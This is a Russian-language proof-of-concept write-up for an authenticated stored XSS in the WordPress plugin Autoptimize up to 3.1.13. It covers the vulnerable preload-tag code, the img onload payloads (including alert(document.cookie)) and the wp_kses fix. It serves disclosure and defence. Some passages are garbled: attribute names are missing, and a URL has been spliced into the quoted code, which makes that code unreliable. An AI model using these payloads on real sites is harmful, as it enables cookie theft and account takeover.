
Доказательство концепции для аутентифицированного хранимого XSS в Autoptimize < 3.1.14, использующего недостаточную очистку атрибутов при генерации тегов предзагрузки изображений.
Уязвимость: хранимый межсайтовый скриптинг (XSS) для аутентифицированных пользователей (Contributor+)
Затронутая версия: Autoptimize <= 3.1.13
Исправленная версия: Autoptimize 3.1.14
Файл: classes/autoptimizeImages.php
Уязвимость находится в методе create_img_preload_tag() внутри classes/autoptimizeImages.php. Эта функция отвечает за генерацию тегов <link rel="preload"> для изображений, найденных в контенте, когда включена оптимизация изображений или их предварительная загрузка.
В версии 3.1.13 функция использует подход «чёрного списка» (через preg_replace) для удаления определённых атрибутов, таких как title, alt, , , и , из исходного тега `` перед его преобразованием в тег . Однако она не удаляет атрибуты обработчиков событий, такие как или .
classidwidthheight<link>onloadonerrorАутентифицированный злоумышленник (с ролью не ниже Contributor) может внедрить вредоносный тег `` в запись. Когда плагин обрабатывает эту запись для генерации preload-ссылок, вредоносный обработчик событий сохраняется и внедряется в <head> страницы внутри тега <link>. Поскольку <link rel="preload"> поддерживает событие onload, JavaScript выполняется при загрузке ресурса.
// classes/autoptimizeImages.php
public static function create_img_preload_tag( $tag ) {
// ...
// rewrite img tag to link preload img.
$_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
$_to = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
$tag = str_replace( $_from, $_to, $tag );
// INSUFFICIENT SANITIZATION: Only removes specific attributes
$tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
// ...
return $tag;
}
create_img_preload_tag часто срабатывает для изображений, обнаруженных в области просмотра (viewport) или предзагружаемых явно.<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">
<!-- Malicious Image -->
<img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
<link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
width, height и т. д. могут быть удалены, но onload остаётся.<link>, предзагружает ресурс и запускает событие onload, выполняя XSS.Патч заменяет регулярное выражение «чёрного списка» на wp_kses(), что обеспечивает строгий «белый список» разрешённых атрибутов для генерируемого тега <link>.
// classes/autoptimizeImages.php v3.1.14
$allowed_html = array(
'link' => array(
'rel' => true,
'as' => true,
'href' => true,
'imagesizes' => true,
'imagesrcset' => true,
'type' => true,
'media' => true,
),
);
$tag = wp_kses( $tag, $allowed_html );